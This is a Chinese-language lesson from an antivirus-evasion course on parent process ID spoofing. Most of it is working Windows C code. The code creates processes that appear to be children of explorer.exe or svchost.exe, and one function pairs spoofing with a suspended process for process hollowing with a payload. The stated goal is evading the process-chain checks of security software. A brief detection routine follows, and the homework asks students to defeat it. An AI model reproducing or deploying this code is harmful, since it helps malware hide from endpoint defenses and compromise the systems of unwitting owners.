免杀专题
14、父进程伪装
1. 课程目标
掌握父进程伪装技术,使创建的进程看起来是由另一个合法进程创建的,用于绑过安全软件的进程链检测。
1.1 学习目标
- 理解父进程在安全检测中的作用
- 掌握PROC_THREAD_ATTRIBUTE_PARENT_PROCESS的使用
- 学会伪装为系统进程的子进程
2. 名词解释
| 名词 | 英文 | 解释 |
|---|---|---|
| PPID | Parent Process ID | 父进程ID |
| 进程链 | Process Chain | 进程的父子关系链 |
| PPID Spoofing | - | 父进程ID伪装 |
| PROC_THREAD_ATTRIBUTE_PARENT_PROCESS | - | 指定父进程的属性 |
| svchost.exe | - | 服务宿主进程,常用于伪装 |
3. 技术原理
3.1 为什么需要父进程伪装
安全软件检测逻辑:
正常进程链:
explorer.exe → cmd.exe → malware.exe ← 可疑!
伪装后:
explorer.exe → cmd.exe
svchost.exe → malware.exe ← 看起来是系统服务
3.2 检测点
| 检测项 | 说明 |
|---|---|
| 父进程名 | cmd/powershell启动的进程可疑 |
| 父进程路径 | 非系统路径的父进程可疑 |
| 进程链深度 | 异常深的进程链可疑 |
| 父进程签名 | 未签名父进程可疑 |
4. 核心实现代码
4.1 基础父进程伪装
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
// 根据进程名获取PID
DWORD GetPidByName(LPCWSTR szProcessName) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32W pe = { sizeof(pe) };
DWORD dwPid = 0;
if (Process32FirstW(hSnap, &pe)) {
do {
if (_wcsicmp(pe.szExeFile, szProcessName) == 0) {
dwPid = pe.th32ProcessID;
break;
}
} while (Process32NextW(hSnap, &pe));
}
CloseHandle(hSnap);
return dwPid;
}
// 父进程伪装创建进程
BOOL CreateProcessWithParentSpoof(LPCWSTR szPath, LPCWSTR szParentName) {
printf("[*] 父进程伪装\n");
printf("[*] 目标进程: %ws\n", szPath);
printf("[*] 伪装父进程: %ws\n", szParentName);
// 1. 获取父进程PID和句柄
DWORD dwParentPid = GetPidByName(szParentName);
if (dwParentPid == 0) {
printf("[-] 未找到父进程: %ws\n", szParentName);
return FALSE;
}
printf("[+] 父进程PID: %d\n", dwParentPid);
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, dwParentPid);
if (!hParent) {
printf("[-] 打开父进程失败: %d\n", GetLastError());
return FALSE;
}
// 2. 初始化属性列表
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
LPPROC_THREAD_ATTRIBUTE_LIST pAttrList =
(LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
if (!InitializeProcThreadAttributeList(pAttrList, 1, 0, &attrSize)) {
printf("[-] 初始化属性列表失败: %d\n", GetLastError());
CloseHandle(hParent);
return FALSE;
}
// 3. 设置父进程属性
if (!UpdateProcThreadAttribute(pAttrList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParent, sizeof(HANDLE), NULL, NULL)) {
printf("[-] 设置父进程属性失败: %d\n", GetLastError());
DeleteProcThreadAttributeList(pAttrList);
CloseHandle(hParent);
return FALSE;
}
// 4. 创建进程
STARTUPINFOEXW si = { 0 };
si.StartupInfo.cb = sizeof(si);
si.lpAttributeList = pAttrList;
PROCESS_INFORMATION pi = { 0 };
if (!CreateProcessW(szPath, NULL, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
NULL, NULL, &si.StartupInfo, &pi)) {
printf("[-] 创建进程失败: %d\n", GetLastError());
DeleteProcThreadAttributeList(pAttrList);
CloseHandle(hParent);
return FALSE;
}
printf("[+] 进程创建成功!\n");
printf(" PID: %d\n", pi.dwProcessId);
printf(" 伪装PPID: %d (%ws)\n", dwParentPid, szParentName);
// 清理
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
DeleteProcThreadAttributeList(pAttrList);
CloseHandle(hParent);
return TRUE;
}
int main() {
printf("========================================\n");
printf(" 父进程伪装 (PPID Spoofing) 演示\n");
printf("========================================\n\n");
// 伪装为explorer.exe的子进程
CreateProcessWithParentSpoof(
L"C:\\Windows\\System32\\notepad.exe",
L"explorer.exe"
);
printf("\n[*] 使用Process Explorer验证父进程\n");
return 0;
}
4.2 伪装为svchost.exe
// svchost.exe通常有多个实例,选择一个合适的
BOOL SpoofAsSvchost(LPCWSTR szPath) {
// 找到一个svchost.exe进程
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32W pe = { sizeof(pe) };
DWORD dwSvchostPid = 0;
if (Process32FirstW(hSnap, &pe)) {
do {
if (_wcsicmp(pe.szExeFile, L"svchost.exe") == 0) {
// 选择SYSTEM用户的svchost
HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
if (hProc) {
HANDLE hToken;
if (OpenProcessToken(hProc, TOKEN_QUERY, &hToken)) {
// 检查是否是SYSTEM用户
TOKEN_USER* pUser = NULL;
DWORD dwLen = 0;
GetTokenInformation(hToken, TokenUser, NULL, 0, &dwLen);
pUser = (TOKEN_USER*)HeapAlloc(GetProcessHeap(), 0, dwLen);
GetTokenInformation(hToken, TokenUser, pUser, dwLen, &dwLen);
// 简化:选择第一个能打开的svchost
dwSvchostPid = pe.th32ProcessID;
HeapFree(GetProcessHeap(), 0, pUser);
CloseHandle(hToken);
}
CloseHandle(hProc);
if (dwSvchostPid) break;
}
}
} while (Process32NextW(hSnap, &pe));
}
CloseHandle(hSnap);
if (!dwSvchostPid) {
printf("[-] 未找到合适的svchost.exe\n");
return FALSE;
}
printf("[+] 选择svchost.exe PID: %d\n", dwSvchostPid);
// 使用此svchost作为父进程
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, dwSvchostPid);
if (!hParent) {
printf("[-] 无法打开svchost进程\n");
return FALSE;
}
// ... 后续创建过程与上面相同
CloseHandle(hParent);
return TRUE;
}
4.3 结合进程镂空
// 伪装父进程 + 进程镂空 = 更高隐蔽性
BOOL AdvancedInjection(LPCWSTR szTargetPath, LPCWSTR szParentName, LPVOID pPayload, SIZE_T payloadSize) {
// 1. 获取父进程句柄
DWORD dwParentPid = GetPidByName(szParentName);
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, dwParentPid);
// 2. 设置属性
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
LPPROC_THREAD_ATTRIBUTE_LIST pAttrList =
(LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(pAttrList, 1, 0, &attrSize);
UpdateProcThreadAttribute(pAttrList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParent, sizeof(HANDLE), NULL, NULL);
// 3. 创建挂起进程(带父进程伪装)
STARTUPINFOEXW si = { sizeof(si) };
si.lpAttributeList = pAttrList;
PROCESS_INFORMATION pi = { 0 };
CreateProcessW(szTargetPath, NULL, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED,
NULL, NULL, &si.StartupInfo, &pi);
// 4. 执行进程镂空...
// (参考课时10的代码)
// 5. 恢复执行
ResumeThread(pi.hThread);
return TRUE;
}
5. 检测父进程伪装
5.1 检测方法
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
// 检测PPID欺骗
BOOL DetectPPIDSpoof(DWORD dwPid) {
// 方法1:比较进程创建时间
// 父进程创建时间应该早于子进程
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid);
if (!hProcess) return FALSE;
// 获取进程基本信息
typedef NTSTATUS(NTAPI* pNtQueryInformationProcess)(
HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
pNtQueryInformationProcess NtQueryInformationProcess =
(pNtQueryInformationProcess)GetProcAddress(
GetModuleHandleW(L"ntdll.dll"), "NtQueryInformationProcess");
PROCESS_BASIC_INFORMATION pbi;
NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
DWORD dwParentPid = (DWORD)(ULONG_PTR)pbi.Reserved3; // InheritedFromUniqueProcessId
// 获取父进程句柄
HANDLE hParent = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwParentPid);
// 比较创建时间
FILETIME ftCreate, ftExit, ftKernel, ftUser;
FILETIME ftParentCreate;
GetProcessTimes(hProcess, &ftCreate, &ftExit, &ftKernel, &ftUser);
if (hParent) {
GetProcessTimes(hParent, &ftParentCreate, &ftExit, &ftKernel, &ftUser);
// 如果"父进程"创建时间晚于子进程,说明被伪装了
if (CompareFileTime(&ftParentCreate, &ftCreate) > 0) {
printf("[!] 检测到PPID伪装!\n");
CloseHandle(hParent);
CloseHandle(hProcess);
return TRUE;
}
CloseHandle(hParent);
}
CloseHandle(hProcess);
return FALSE;
}
6. 常见问题
6.1 权限不足
问题: OpenProcess(PROCESS_CREATE_PROCESS) 失败
解决:
- 选择权限较低的父进程
- 以管理员权限运行
- 选择同用户的进程
6.2 父进程终止
问题: 伪装的父进程终止后子进程PPID变为0
说明: 这是正常现象,Windows会将孤儿进程的PPID设为0
7. 课后作业
7.1、作业1:基础伪装(必做)
- 实现父进程伪装,创建notepad.exe
- 使用Process Explorer验证PPID
7.2、作业2:选择最佳父进程(进阶)
- 编写程序自动选择最合适的svchost.exe作为父进程
- 考虑因素:用户、完整性级别、存活时间
7.3、作业3:反检测(高级)
- 研究如何绕过创建时间检测
- 实现更隐蔽的父进程伪装
8. 下一课预告
下一课我们将学习利用白名单绕过UAC的技术。